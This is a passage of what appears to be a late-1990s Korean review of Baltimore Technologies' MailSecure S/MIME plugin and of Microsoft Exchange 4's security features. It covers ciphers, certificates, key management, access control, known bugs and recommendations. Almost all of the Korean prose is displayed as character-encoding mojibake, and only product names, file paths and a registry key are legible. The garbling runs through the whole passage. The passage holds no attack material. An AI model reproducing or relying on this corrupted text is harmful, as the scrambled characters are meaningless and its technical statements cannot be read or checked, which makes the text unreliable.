- ÀÎÁõ¼ÀÇ Çü½ÄÀÌ Æò¹üÇÑ X.509 (.crt)°¡ ¾Æ´Ï¶ó PKCS (.p7c) ÀÎ °Í °°´Ù.
MailSecure:
Baltimore Technologies (http://www.baltimore.ie)ÀÇ MailSecure ´Â, ±º»ç±Þ °µµÀÇ ¾Ïȣȸ¦ °¡Áö´Â ¾ó¸¶ ¾ÈµÇ´Â S/MIME Exchange Ç÷¯±×ÀÎ Áß ÇϳªÀÌ´Ù. Baltimore ´Â 20³â°£ ¾ÏÈ£ÇÐ ¿¬±¸¿¡ Ȱ¹ßÇÑ È°µ¿À» ÇßÀ¸¸ç, À̵éÀÌ ¾ÏÈ£È ¾Ë°í¸®µëÀ» ¾ÈÀüÇÏ°Ô ±¸ÇöÇÒ ¼ö ÀÖ´Ù´Â È®½ÅÀ» °®°Ô ÇÏ´Â Âü°íÀÚ·áµéÀ» Á¦°øÇÑ´Ù. À̵éÀº ¾ÈÀüÇÑ À¥ Æ®·£Àè¼Ç, ÀÚ¹Ù, ÀͽºÃ¼ÀÎÁö ¹× À©µµ¿ì¸¦ À§ÇÑ Á¦Ç°µéÀ» °¡Áö°í ÃÖ±Ù¿¡¾ß »ó¿ë ½ÃÀå¿¡ ¶Ù¾îµé¾ú´Ù.
- »ç¿ëÀÚ´ç ~$80.
- CA: ÀÚü ¼¸íµÈ CA°ú µ¶ÀÚÀûÀÎ ÀÎÁõ ±â°ü ½Ã½ºÅÛ (UniCERT) À» »ç¿ëÇÒ ¼ö ÀÖ´Ù. ÀÎÁõ¼´Â ÀÚ½Å, UniCERT ±×¸®°í (Â÷ÈÄ¿¡) VeriSign °°ÀÌ PKS Çü½ÄÀ» Áö¿øÇÏ´Â ´Ù¸¥ CAµé¿¡ ÀÇÇØ ¼¸íµÈ´Ù. Baltimore ´Â TTPs¸¦ À§ÇÑ EUROTRUST ¶ó°í ºÒ¸®´Â EU Àç¿ø ¿¬±¸ ÇÁ·ÎÁ§Æ®ÀÇ ÀϺÎÀÌ´Ù. ÀÎÁõ¼µéÀº X.509 Çü½ÄÀÌ´Ù.
ÀÌÁ¡:
- °·ÂÇÑ ¾ÏÈ£È: ´ëĪ Ű: DES, 3DES ±×¸®°í RC2 40-128 bit ¹× °ø°³ Ű 512-2048 bit. SHA-1 ¹× MD5 ¼¸í ¾Ë°í¸®µëÀÌ »ç¿ëµÈ´Ù.
- Exchange ¿¡ ¿ÏÀüÈ÷ ÅëÇÕ (Exchange¿Í POP3 ¼¹ö ¸ðµÎ¿¡ ´ëÇØ Å×½ºÆ®µÊ).
- ÆÐ½º¹®±¸´Â ¾Æ·¡¿Í °°ÀÌ ¹°À» ¼ö ÀÖ´Ù:
- ¸Å¹ø ¶Ç´Â
- ½ÃÀÛÇÒ ¶§ (±×¸®°í ½ÃÀÛ ÈÄ Æ¯Á¤ ½Ã°£ÀÌ Áö³ª¸é ¸Þ¸ð¸®¿¡¼ Áö¿öÁú ¼öµµ ÀÖ´Ù).
- S/MIME ŸŶÀº ¿øÇÑ´Ù¸é °³¹ßÀڵ鿡°Ô º°µµ·Î ÆÇ¸ÅµÉ ¼ö ÀÖ´Ù.
- V1.1.2 Àº Exchange 4¿Í Å×½ºÆ®µÇ¾ú´Ù. Outlook µµ µ¿ÀÛÇÒ °ÍÀÌÁö¸¸, ¾ÆÁ÷ Å×½ºÆ®´Â ¸øÇغôÙ.
´ÜÁ¡ (ÁÖ¿ä À̽´µéÀº ±½Àº ±Û¾¾·Î):
- Exchange 5 ´Â MailSecure¿Í ¹®Á¦°¡ ÀÖ´Ù.
- ¸Þ½ÃÁö°¡ ¾ÐÃàµÇÁö ¾Ê´Â´Ù, ½ÇÁ¦·Î ¸Þ½ÃÁö Å©±â´Â ¾ÏÈ£ÈµÉ ¶§ °ÅÀÇ µÎ¹è°¡ µÉ ¼ö ÀÖ´Ù.
- ÀÎÁõ¼¸¦ º¸È£Çϱâ À§ÇØ »ç¿ëµÇ´Â ÆÐ½º¿öµå¿¡ ´ëÇÑ Á¦¾àÀ» »ç¿ëÀÚ¿¡ ¸Â°Ô Á¶Á¤ÇÒ ¼ö ¾ø´Ù. »ç¿ëÀÚ Çʿ信 µû¶ó µðÆúÆ® ¼³Á¤ÀÌ ³Ê¹« Á¦ÇÑÀûÀÏ ¼öµµ ³Ê¹« ´À½¼ÇÒ ¼öµµ ÀÖ´Ù. »ç¿ëÀÚ°¡ ·Î±×ÀÎ ÇÏ´Â ´Ù¸¥ ½Ã½ºÅÛµéÀÇ ÆÐ½º¿öµå Á¦¾àÁ¶°Ç°ú °°¾Æ¾ß ÇÑ´Ù.
- °³¹ßÀÌ ´À¸° °Í °°´Ù: º£Å¸¿¡¼ ¾ÈÁ¤ÀûÀÎ Á¦Ç°À¸·Î °¡´Âµ¥ 6°³¿ù °É·È´Ù. Áö³ 9°³¿ù µ¿¾È »õ·Î¿î ±â´ÉÀº Ãß°¡µÇÁö ¾Ê¾Ò´Ù.
- Inbox assistant¸¦ »ç¿ëÇÏ¿© ¾ÏÈ£ÈµÈ ¸ñÀûÁö·Î ÀÚµ¿ À̸ÞÀÏ Àü´ÞÀÌ ºÒ°¡´É (ÆÐ½º¹®±¸°¡ ¸Å¹ø ÀԷµǾî¾ß ÇϹǷÎ)
- °£ÇæÀûÀÎ ¹ö±×°¡ Çѵιø ¹ß°ßµÇ¾ú´Ù: ¸ÞÀÏÀÛ¼º(compose) À©µµ¿ìÀÇ MailSecure ¼Ó¼º(File->Properties)Àº Exchange ¸Þ½ÃÁö ¼Ó¼ºÀ» ¼û±â°í ÀÖ¾î, ¸Þ½ÃÁö ¼Ó¼ºÀÌ (¿ì¼±¼øÀ§, Á߿䵵, "º¸³½ ÆíÁöÇÔ"¿¡ º¹»çº»À» ÀúÀåÇÒ °ÍÀÎÁö µî) º¯°æµÇÁö ¸øÇÑ´Ù.
- °£ÇæÀûÀÎ ¹ö±×: »õ ¸ÞÀÏÀ» ÀÛ¼ºÇÏ°í ³ª¼, ÀμâÇÏ·Á°í ÇÏ¸é ¾ÏÈ£ÈÇÒ °ÍÀÎÁö¸¦ ¹¯´Â´Ù! ¾Æ¹« Àǹ̰¡ ¾ø´Ù.
- ¹ö±×: ¸ÞÀÏÀ» ÀÛ¼ºÇÏ´Ù°¡, µµÁß¿¡ ¹«½¼ÀÏÀÌ ÀÖ¾î »ç¹«½ÇÀ» ³ª°¡¾ß Ç߱⿡, ¼¸í°ú ¾ÏÈ£È ¿É¼ÇÀ» ¸ðµÎ Ȱ¼ºÈ ÇÏ¿© ¸ÞÀÏÀ» ÀúÀåÇß´Ù. ÀúÀåµÈ ¸ÞÀÏÀº ´õÀÌ»ó ÀÐÀ» ¼ö°¡ ¾ø¾ú´Ù (smime-attachment·Î ¾ÏÈ£ÈµÈ ÅØ½ºÆ®). (ÃßÃø°Ç´ë ¼ö½ÅÀÚÀÇ °ø°³Å°·Î ¸Þ½ÃÁö¸¦ ¾ÏÈ£ÈÇØ¼, ¿ø·¡ ¹ß½ÅÀÚ°¡ ÀÐÀ» ¼ö ¾ø°Ô µÇ´Â °Í °°´Ù?).
ÀÛ¾÷ÇÒ ¶§: Àӽà ÀúÀåÇÏÁö¸¸ ¾ÆÁ÷ º¸³¾ Áغñ°¡ ¾ÈµÈ À̸ÞÀÏÀº ¾ÏÈ£ÈÇÏÁö ¸»¶ó.
- À¯¿ëÇÒ »ç¿ëÀÚ ÀÎÅÍÆäÀ̽º ±â´É:
- º¸´Ù ³ªÀº ÀÎÁõ¼ °ü¸®:
- ÀÎÁõ¼¸¦ »èÁ¦ÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù.
- ¿©·¯°³ÀÇ °³ÀÎ ÀÎÁõ¼¸¦ °¡Áú ¼ö ÀÖ°í ¼¸í¿¡ ¾î¶² ÀÎÁõ¼°¡ »ç¿ëµÉ Áö ¼±ÅÃÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù.
- ÀÎÁõ¼´Â ¼³Ä¡µÇ´Â µ¿¾ÈÀ» Á¦¿ÜÇϰí´Â °¡Á®¿À±â/³»º¸³»±âÇÒ ¼ö ¾ø´Ù.
- ´çÀåÀº ÀÚü¼¸í ¹× Baltimore ¼¸íµÈ ÀÎÁõ¼µé¸¸ÀÌ Áö¿øµÈ´Ù.
- »ç¿ëÀÚ°¡ À̸ÞÀÏ ÁÖ¼Ò¸¦ ¿©·¯°³ °¡Áö°í ÀÖÀ» ¼ö ÀÖÀ¸¹Ç·Î (À̸¦Å׸é ÀÎÅͳÝ, X.400, Exchange..), ¿©·¯ °³ÀÇ À̸ÞÀÏ ÁÖ¼Ò¸¦ ÇϳªÀÇ ÀÎÁõ¼¿¡ ÇÒ´çÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù.
- ÆÐ½º¹®±¸¸¦ ¹°¾îº¸°í ³ª¼ ÀÏÁ¤ÇÑ ½Ã°£µ¿¾È ¸Þ¸ð¸®¿¡ À¯ÁöÇÏ´Â ÆÐ½º¹®±¸ (Passphrase) ¿É¼Ç (½ÃÀÛÇÒ ¶§ »Ó ¾Æ´Ï¶ó).
- ¸Þ½ÃÁö ¹Î°¨µµ°¡ ±â¹Ð·Î ¼³Á¤µÇ¾î ÀÖÀ¸¸é (Message properties ÂüÁ¶), ÀÚµ¿ÀûÀ¸·Î ¾ÏÈ£È µÇ¾î¾ß ÇÑ´Ù.
- ÀÎÁõ¼ µð·ºÅ丮 ¼ºñ½º (Certificate directory service): »õ·Î¿î ¸Þ½ÃÁö¸¦ »ý¼ºÇÒ ¶§, µ¿ÀÏÇÑ À̸ÞÀÏ ÁÖ¼Ò¿Í´Â º°µµ·Î ÁÖ¼Ò·Ï¿¡ ÀÖ´Â »ç¿ëÀÚµé°ú ¾µ ¼ö ÀÖ´Â ÀÎÁõ¼¸¦ ¿¬°ü½Ãų ¾î¶² ¹æ¹ýÀÌ ÀÖ¾î¾ß ÇÑ´Ù. À̸ÞÀÏ ÁÖ¼Ò´Â °è¼Ó º¯ÇϹǷΠº°¸íÀ» ¾µ ¼öµµ ÀÖÀ» °ÍÀÌ´Ù. À̸ÞÀÏ ÁÖ¼Ò º¯°æ¿¡ µû¶ó °¢°¢ »õ·Î¿î ÀÎÁõ¼°¡ ÇÊ¿äÇÏ´Ù. »õ·Î¿î V1.2 ´Â È®½ÇÈ÷ X.500 µð·ºÅ丮¸¦ Áö¿øÇÑ´Ù.
- ÁÖ¼Ò·Ï¿¡ Àִ ƯÁ¤ »ç¿ëÀÚ¿¡ ´ëÇØ ¾ÏÈ£ÈµÈ À̸ÞÀÏÀ» Çʼö·Î "Ç¥½Ã" ÇÏ´Â °Íµµ ÁÁÀ» °ÍÀÌ´Ù. ¶Ç Ãß°¡ ¿É¼ÇÀ¸·Î ÀÌ »ç¿ëÀڵ鿡°Ô À̸ÞÀÏÀÌ º¸³»Á³À» ¶§¸¸ "¼¸í/¾ÏÈ£È" ÇÁ·ÒÇÁÆ®°¡ ³ª¿Àµµ·Ï ¼³Á¤ÇÒ ¼ö ÀÖ´Ù.
- Eudora, Lotus Mail Àº Áö¿øµÇÁö ¾ÊÁö¸¸, Â÷ÈÄ¿¡´Â µÉ Áöµµ ¸ð¸¥´Ù.
±Ç°í»çÇ×:
- ÀÚ±â ÀÎÁõ¼ÀÇ ¹é¾÷À» ÇʼöÀûÀ¸·Î ¸¸µé¾î µÐ´Ù (e.g. c:\program files\mailsecure\YOURNAME.bsk and .pc7). ¿©·¯ ´ëÀÇ PC¸¦ µ¿½Ã¿¡ »ç¿ëÇÑ´Ù¸é, ÀÌ ÀÎÁõ¼¸¦ º¹»çÇÏ¿© ´Ù¸¥ PC (e.g. ·¦Å¾) ¿¡¼ »ç¿ëÇÒ ¼ö ÀÖ´Ù.
- µðÆúÆ® CA¸¦ º¯°æÇÏ·Á¸é, ·¹Áö½ºÆ®¸®¿¡¼ ´ÙÀ½ °ªÀ»:
HKEY_CURRENT_USER/SOFTWARE/Baltimore-Technologies/BMail/RAEmail
UniMS Certificate request ÇÁ·Î¼¼¼ÀÇ À̸ÞÀÏ ÁÖ¼Ò·Î ÆíÁýÇÑ´Ù.
Exchange ´Â Microsoft ÀÇ À̸ÞÀÏ ±â¹Ý ±×·ì¿þ¾î Á¦Ç°À¸·Î¼ 3.51 ¶Ç´Â ÀÌ»óÀÇ NT¿¡¼ ÀÛµ¿ÇÏ´Â ¼¹ö ÇÁ·Î±×·¥ÀÌ´Ù. Exchange¿¡´Â MS-Mail, X400, ÀÎÅÍ³Ý ¸ÞÀÏ (SMTP) ÀÌ ±âº»À¸·Î Æ÷ÇԵǾîÀÖ°í Novel, cc:Mail ±×¸®°í IBM PROFS ½Ã½ºÅÛÀ» À§ÇÑ Ãß°¡¸ðµâÀ» Á¦°øÇÑ´Ù. X.500 µð·ºÅ丮 ¼ºñ½º¸¦ ¿ÏÀüÈ÷ Áö¿øÇÏÁö ¾ÊÀ¸³ª µ¶ÀÚÀû µð·ºÅ丮 ¼ºñ½º (proprietary directory service) ´Â Á¦°øÇÑ´Ù. Windows 95 ¿Í NT4 ¿¡´Â rich text format, ±×·ì ÀÏÁ¤°ü¸®, ¸Þ½ÃÁö Á߿䵵 ºÎ¿© ±×¸®°í ¿Â¶óÀÎ/¿ÀÇÁ¶óÀÎ ÀÛ¾÷À» Áö¿øÇÏ´Â Exchange Ŭ¶óÀÌ¾ðÆ®°¡ Æ÷ÇԵǾî ÀÖ´Ù.
º¸¾È °üÁ¡¿¡¼ º¼ ¶§ Exchange V4´Â ´ÙÀ½ ±â´ÉÀ» Á¦°øÇÑ´Ù:
- ¾ÈÀüÇÑ µ¥ÀÌŸ ±³È¯:
- ÀüÀÚ ¼¸í°ú ¾ÏÈ£È Áö¿ø. CAST-64 ¶Ç´Â DES ¾Ë°í¸®µëÀº ¹Ì±¹¿¡¼ ±×¸®°í CAST-40 Àº ¾îµð¼µçÁö »ç¿ëµÉ ¼ö ÀÖ´Ù. ¸ðµç ¾Ïȣȴ ¼¹ö°¡ ¾Æ´Ñ Ŭ¶óÀÌ¾ðÆ®¿¡¼ ¼öÇàµÈ´Ù. CAST´Â ¾î¶² °ÍÀΰ¡? (ÀÎÅͳÝÀÇ ¾ÏÈ£ °ü·Ã ÀÚ·áµé Áß ÀÌ ¾Ë°í¸®µë¿¡ ´ëÇÑ °ÍÀ» ãÀ» ¼ö°¡ ¾ø¾ú´Ù). ¾Æ¸¶ Microsoft ¿¡¼ ¸¸µç °ÍÀ¸·Î peer review¿¡ ³»³õÁö ¾ÊÀº °Í °°´Ù.
- °í±Þ ÆÑ½º ±â´Éµéµµ ÅëÇյǾî ÀÖ´Ù, À̸¦Å׸é ÀüÀÚ¼¸íÀÌ ÀÖ´Â BFT (Binary File Transfer).
- Exchange Ŭ¶óÀÌ¾ðÆ®´Â ÀüÈÁ¢¼Ó ³×Æ®¿öÅ· »ó¿¡¼µµ ÀÛµ¿Çϸç ÀüÈÁ¢¼Ó ³×Æ®¿öÅ·À» »ç¿ëÇÒ ¶§¸¸ ¾Ïȣȸ¦ »ç¿ëÇÒ ¼öµµ ÀÖ´Ù. ¿ø°Ý »ç¿ëÀڵ鿡°Ô À¯¿ëÇÑ ±â´ÉÀÌ´Ù.
- ÀÔÁõ/ºÎÀιæÁö: »ç¿ëÀÚ´Â ¼ö½ÅÀÚ°¡ À̸ÞÀÏÀ» ¼ö½ÅÇß´ÂÁö ±×¸®°í/¶Ç´Â Àоú´ÂÁö È®ÀÎÀ» ¿äûÇÒ ¼ö ÀÖ´Ù. ¼ö½ÅÀÚ°¡ °í±Þ º¸¾È ¼³Á¤À» °¡Áö°í ÀÖ´Ù¸é (Áï ÀüÀÚ¼¸í »ç¿ë), »ç¿ëÀÚ´Â ¿Ã¹Ù¸¥ ¼ö½ÅÀÚ°¡ ½ÇÁ¦·Î ±× Á¤º¸¸¦ Àоú´Ù´Â °ÍÀ» ¹«¸®¾øÀÌ È®½ÅÇÒ ¼ö ÀÖ´Ù.
- Ű °ü¸®:
- °ø°³ ¹× °³ÀÎŰ °ü¸®°¡ »ç¿ëµÈ´Ù. µÎ ½ÖÀÇ Å°°¡ Àִµ¥, Çϳª´Â ¼¸íÀ» À§ÇÑ °ÍÀ̰í Çϳª´Â ¾Ïȣȸ¦ À§ÇÑ °ÍÀÌ´Ù. ¹úÅ©(bulk) ¾ÏÈ£È Å°¸¦ »ç¿ëÇÏ·Á º¹¼öÀÇ ¼ö½ÅÀÚ¿¡°Ô ¾ÈÀüÇÏ°Ô ¸Þ½ÃÁö¸¦ º¸³½´Ù. °ø°³Å°´Â CA (ExchangeÀÇ °æ¿ì KM ¼¹ö) ¿¡ ÀÇÇØ ÀÎÁõµÇ¾î¾ß ÇÑ´Ù. ÀÎÁõ¼´Â »ç¿ëÀÚÀÇ °ø°³Å°¸¦ ƯÁ¤ ¸ÞÀÏÇÔ¿¡ ¹¾îµÐ´Ù.
- °ü¸®ÀÚ°¡ ¾î¶² »ç¿ëÀÚ¿¡ ´ëÇØ °í±Þ º¸¾ÈÀ» ¼³Á¤ÇßÀ» ¶§, °ü¸®ÀÚ´Â »ç¿ëÀÚ¿¡°Ô ¾ÈÀüÇÏ°Ô Àü´ÞµÇ¾î¾ß ÇÏ´Â ÅäÅ« (±âº»ÀûÀ¸·Î »ç¿ëÀÚÀÇ °³ÀÎ۸¦ °¡Áö°í ÀÖ´Â) À» ¹Þ°Ô µÈ´Ù. [3]. °ü¸®ÀÚ´Â ÅäÅ«ÀÌ ¿Ã¹Ù¸¥ »ç¶÷¿¡ ´ëÇØ »ý¼ºµÇ°í ¿Ã¹Ù¸¥ »ç¶÷¿¡°Ô º¸³»Á³´ÂÁö ´Ü¿µ È®½ÅÇÒ ¼ö ÀÖ¾î¾ß Çϰí, ÅäÅ«À» Àü¼ÛÇϱâ À§ÇÑ ¾ÈÀüÇÑ ¹æ¹ýÀÌ Ã£¾ÆÁ®¾ß ÇÑ´Ù. ÀÌ ÅäÅ«Àº ÀÓ½ÃÀÌ°í »ç¿ëÀÚ°¡ Ŭ¶óÀÌ¾ðÆ® ÂÊ¿¡¼ °í±Þ º¸¾ÈÀ» ¼³Á¤ÇÒ ¼ö ÀÖ°Ô ÇØÁØ´Ù (µµ±¸->¿É¼Ç->º¸¾È¿¡¼). »ç¿ëÀÚ°¡ °í±Þ º¸¾ÈÀ» ¼³Á¤ÇÒ ¶§, ÆÐ½º¿öµå¸¦ ÀÔ·ÂÇØ¾ß ÇÑ´Ù. ÀÌ ÆÐ½º¿öµå´Â ÃßÈÄ À̸ÞÀÏÀÌ ¼¸í/¾ÏÈ£È/ÇØµ¶µÉ ¶§¸¶´Ù ÀԷµǾî¾ß ÇÑ´Ù.
- ÀÒ¾î¹ö¸° º¸¾È ÅäÅ«Àº °ü¸®ÀÚ°¡ º¹±¸ÇÒ ¼ö ÀÖ´Ù (Administration À©µµ¿ì¿¡¼ Recipients ¼±Åà ÈÄ, Security ->Recover Key). ۰¡ º¸À̰í ÀÌÁ¦´Â ¹Ýµå½Ã ¾ÈÀüÇÏ°Ô »ç¿ëÀÚ¿¡°Ô Àü¼ÛµÇ¾î¾ß ÇÑ´Ù.
- »ç¿ëÀÚ ÅäÅ«Àº °ü¸®ÀÚ(Administrator)°¡ Ãë¼ÒÇÒ ¼ö ÀÖ´Ù (Administration->Recipients->Choose mailbox -> Security-> Revoke Advanced Security).
- ½Äº° & ÀÎÁõ:
- ÁÖü (»ç¿ëÀÚ) µéÀº NT µµ¸ÞÀÎ ·Î±×ÀÎÀ» ÅëÇØ ½Äº°µÈ´Ù. ³×Æ®¿÷ ¸ÞÀÏÇÔ Á¢±ÙÀ» À§ÇØ º°µµÀÇ ·Î±×¿ÂÀÌ »ç¿ëµÉ ¼öµµ ÀÖ°í ¾Æ´Ï¸é NT ·Î±×¿Â ÇÁ·Î¼¼½º¿Í ÅëÇÕµÉ ¼öµµ ÀÖ´Ù.
- °í±Þ º¸¾È¿¡¼´Â, »ç¿ëÀÚÀÇ ½Å¿øÀÌ °³ÀÎ/°ø°³ Ű »ç¿ëÀ» ÅëÇØ ÀÎÁõµÈ´Ù.
- Á¢±Ù ÅëÁ¦:
- °³ÀÎ Æú´õ´Â PC¿¡ º¸°üµÉ ¼öµµ ÀÖ´Ù (¼¹ö ´ë½Å). »Ó¸¸ ¾Æ´Ï¶ó »ç¿ëÀÚ´Â ·ÎÄà ÇÏµå µå¶óÀ̺꿡 ÆÐ½º¿öµå·Î º¸È£ ±×¸®°í/¶Ç´Â ¾ÏȣȵǴ °³ÀÎ Æú´õ¸¦ »ý¼ºÇÒ ¼ö ÀÖ´Ù.
- "Groups" ´Â °øÅëµÈ Æú´õ Á¢±Ù Àΰ¡¿¡ »ç¿ëµÈ´Ù. ±×·ì ¸ÞÀÏÇÔµµ °¡´ÉÇÏ´Ù.
- °ø¿ë Æú´õ¿¡ ´ëÇÑ Á¢±Ù: Exchange´Â °¢ Æú´õ¿¡ ´ëÇØ Á¢±ÙÅëÁ¦ ¸ñ·ÏÀ» Á¤ÀÇÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù. ¼·Î ´Ù¸¥ »ç¿ëÀÚ/±×·ìµéÀº ¼·Î ´Ù¸¥ »ç¿ëÇã°¡¸¦ ¹ÞÀ» ¼ö ÀÖ´Ù. »ç¿ëÇã°¡ÀÇ ÁýÇÕµéÀº ¿ªÇÒ (role) ·Î Æí¼ºµÉ ¼ö ÀÖ´Ù. Á¤ÀÇµÈ Ç¥ÁØ ¿ªÇÒµéÀº ¼ÒÀ¯ÁÖ (owner) (¸ðµç ±ÇÇÑ) ¿Í °ËÅäÀÚ (reviewer) (Àб⸸ °¡´É) ÀÌ´Ù. ´Ù¸¥ »çÀÌÆ®ÀÇ °ø¿ë Æú´õµéÀ» ·ÎÄà º¹Á¦ ¾øÀÌ Á¢±ÙÇÒ ¼ö ÀÖ´Ù (ÇØ´çµÇ´Â NT µµ¸ÞÀÎ Æ®·¯½ºÆ®°¡ Á¸ÀçÇÑ´Ù¸é).
- µð·ºÅ丮 °´Ã¼·ÎÀÇ Á¢±Ù (Á¶Á÷, »çÀÌÆ®, ¼ö½ÅÀÚ, µîµî) µµ À§¿¡¼¿Í ¸¶Âù°¡Áö·Î ACL°ú ¿ªÇÒ¿¡ µû¶ó ÅëÁ¦µÈ´Ù. ´ëÇ¥ÀûÀÎ ¿ªÇÒÀº »ç¿ëÀÚ (ƯÁ¤ ¸ÞÀÏÇÔ¿¡ ¸ðµç ±ÇÇÑÀ» °¡Áö´Â) ÀÌ´Ù. »ç¿ëÇã°¡´Â ºÎ¸ð °´Ã¼·ÎºÎÅÍ »ó¼ÓµÈ´Ù.
- °í±Þ º¸¾ÈÀº »ç¿ëÀÚ³ª »çÀÌÆ®º°·Î »ç¿ëÀÚ¿¡°Ô ¼³Á¤µÉ ¼ö ÀÖ´Ù.
- °¢ ¸ÞÀÏÇÔÀº ¾ÏÈ£ÈµÈ º¸¾È ÆÄÀÏ (.EPT) À» °¡Áö°í Àִµ¥ ¿©±â¿¡´Â ¼¸í/¾ÏÈ£È/º¹È£È¿¡ ÇÊ¿äÇÑ »ç¿ëÀÚÀÇ °³ÀÎ۰¡ µé¾îÀÖ´Ù. ¿ø°Ý/À̵¿ »ç¿ëÀÚµéÀ» À§Çؼ´Â, ÀÌ ÆÄÀÏÀÌ »ç¿ëÀÚÀÇ ·ÎÄà µð½ºÅ©¿¡ ÀÖ¾î¾ß ÇÑ´Ù.
- °³ÀÎŰ (°ø°³Å° »Ó¸¸ ¾Æ´Ï¶ó) ÀÇ ¹é¾÷ º¹»çº»ÀÌ KM ¼¹ö¿¡ º¸°üµÈ´Ù.
- °¨»ç/·Î±×: NT º¸¾È ·Î±×¿¡ À̺¥Æ®µéÀÌ ·Î±×µÈ´Ù. µð·ºÅ丮 °´Ã¼¿Í ¼ºñ½ºÀÇ º¯°æ¿¡ ´ëÇÑ °¨»ç¸¦ ¼³Á¤ÇÒ ¼ö ÀÖ´Ù.
- °¡¿ë¼º:
- Exchange´Â Æ®·£Àè¼Ç ±â¹ÝÀÇ Á¤º¸ ÀúÀå¼Ò(information store)¸¦ »ç¿ëÇϴµ¥, ÀÌ´Â ¼¹ö°¡ ¸ØÃèÀ» ¶§ Æ®·£Àè¼Ç ·Î±×¸¦ »ç¿ëÇÏ¿© ¸ØÃß±â ÀüÀÇ »óÅ·ΠÁ¤º¸ ÀúÀå¼Ò¸¦ Àç°ÇÇÒ ¼ö ÀÖ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù.
- °ø¿ë Æú´õ¿Í µð·ºÅ丮 ¼ºñ½ºµéÀº »çÀÌÆ® ³»ºÎ ¹× »çÀÌÆ®µé »çÀÌ¿¡¼ º¹Á¦µÉ ¼ö ÀÖ´Ù (À̸ÞÀÏ ¸Þ½ÃÁöµéÀ» ÅëÇØ). Æú´õ º¹Á¦¸¦ À§ÇÑ ½ºÄÉÁìÀ» ¼³Á¤ÇÒ ¼ö ÀÖ°í º¹Á¦ ¸Þ½ÃÁö Å©±â´Â Á¤Ã¼¸¦ ¹æÁöÇϱâ À§ÇØ Á¦ÇÑµÉ ¼ö ÀÖ´Ù.
- Á¤º¸ ÀúÀå¼Ò´Â °ø¿ë ¶Ç´Â °³ÀÎ Æú´õ Å©±â¸¦ Á¦ÇÑÇϰí, »ç¿ë±âÇÑÀ» ¼³Á¤ÇÏ°í ¿À·¡µÈ Á¤º¸´Â ÀÚµ¿À¸·Î »èÁ¦Çϵµ·Ï ±¸¼ºµÉ ¼ö ÀÖ´Ù.
- ÇϳªÀÇ KM ¼¹ö°¡ ¿©·¯ ÀͽºÃ¼ÀÎÁö »çÀÌÆ®¿¡ »ç¿ëµÉ ¼ö ÀÖÀ¸³ª, KM ¼¹ö°¡ ´Ù¿îµÇ¾úÀ» ¶§ ÀÓ¹«¸¦ ³Ñ°Ü¹ÞÀ» ¼ö ÀÖ´Â ¹é¾÷ KM ¼¹öÀÇ °³³äÀº ¾ø´Ù. KM ¿äûÀº KM ¼¹ö µéÀÇ ÇÑ ±×·ì ³»¿¡¼ °øµ¿°ü¸® (pool) µÉ ¼ö ¾ø´Âµ¥, ´ë±Ô¸ð Á¶Á÷¿¡¼´Â À̰ÍÀÌ µÈ´Ù¸é À¯¿ëÇÒ °ÍÀÌ´Ù.
- Áö´ÉÀû Àç ¶ó¿ìÆÃ: ÇϳªÀÇ ¿¬°áÀÌ ²÷¾îÁö¸é, Exchange ´Â ´Ù¸¥ ¿¬°áÀ» ÅëÇØ ¸Þ½ÃÁö¸¦ ´Ù½Ã ¶ó¿ìÆÃÇÒ ¼ö ÀÖ´Ù.
¹®Á¦Á¡:
- ÀͽºÃ¼ÀÎÁö Ŭ¶óÀÌ¾ðÆ®´Â ´À¸®°í (¸¹Àº ¾çÀÇ ¸Þ¸ð¸®°¡ »ç¿ë °¡´ÉÇÏÁö ¾Ê´Ù¸é) ºó¹øÇÑ °»½ÅÀÌ ÇÊ¿äÇÏ´Ù. Ŭ¶óÀÌ¾ðÆ®´Â ³»¿ëÀÌ Å« (> 40kB) ¸Þ½ÃÁö¿¡ ¸ØÃâ ¼ö ÀÖ´Ù.
- ۰ü¸®´Â ´Ù·ç±â ¾î·Æ°í ´ë±Ô¸ð »ç¿ëÀÚ ±×·ì¿¡´Â Àû´çÇÏÁö ¾Ê´Ù.
- ¾ÏÈ£È °µµ°¡ ¹Ì±¹ ¹Û¿¡¼´Â ¾àÇÏ´Ù.
- ÀÎÅͳÝÀ¸·Î ºÐ¸®µÈ ÀͽºÃ¼ÀÎÁö »çÀÌÆ®µé °£¿¡´Â °í±Þ º¸¾ÈÀÌ ºÒ°¡´ÉÇÏ´Ù.
- À̸ÞÀÏ/Æú´õµéÀº °ü¸®ÀڷκÎÅÍ ¾ÈÀüÇÑ´Ù? °ü¸®ÀÚ°¡ °³ÀÎŰ¿¡ Á¢±ÙÇÒ ¼ö ÀÖÀ¸¹Ç·Î, »ç¿ëÀÚ ¼¸íÀ» À§Á¶ÇÏ¿© »ç¿ëÀÚ°¡ ¾ÏÈ£ÈÇÑ À̸ÞÀÏÀ» ÀÐÀ» ¼ö ÀÖÀ» °Í °°´Ù? »ç¿ëÀÚ°¡ °í±Þ º¸¾ÈÀ» ¼³Á¤ÇÏ´õ¶óµµ, ۸¦ º¸È£Çϱâ À§ÇØ ÆÐ½º¿öµå°¡ ºÎ¿©µÈ´Ù.
- µð·ºÅ丮 ¼ºñ½º´Â X.500 °ú ȣȯµÇÁö ¾ÊÀ¸¸ç, Ű ÀÎÁõ¼´Â S/MIME À̳ª PGP¿Í ȣȯµÇÁö ¾Ê´Â´Ù.
Exchange 5.0 ¿¡¼ ¾à¼ÓµÇ´Â ÇâÈÄÀÇ ±â´Éµé:
- ÀÎÅÍ³Ý °°Àº°øÁ߸ÁÀ» Áö³¯ ¶§ÀÇ º¸¾È.
- º¸´Ù ³ªÀº Ű ºÐ¹è.
- Á¶Á÷ ±×·ì ¼¸í / ¾ÏÈ£È.
±Ç°í»çÇ×:
- KM (Key Management) ¼¹ö¿¡¼´Â NTFS ÆÄÀϽýºÅÛÀ» »ç¿ëÇϰí, ¹°¸®ÀûÀ¸·Î º¸È£µÇ´Â ±¸¿ª¿¡ ¼³Ä¡ÇÑ´Ù. Àü¿ë ¼¹öÀÇ »ç¿ëÀ» °í·ÁÇÑ´Ù.
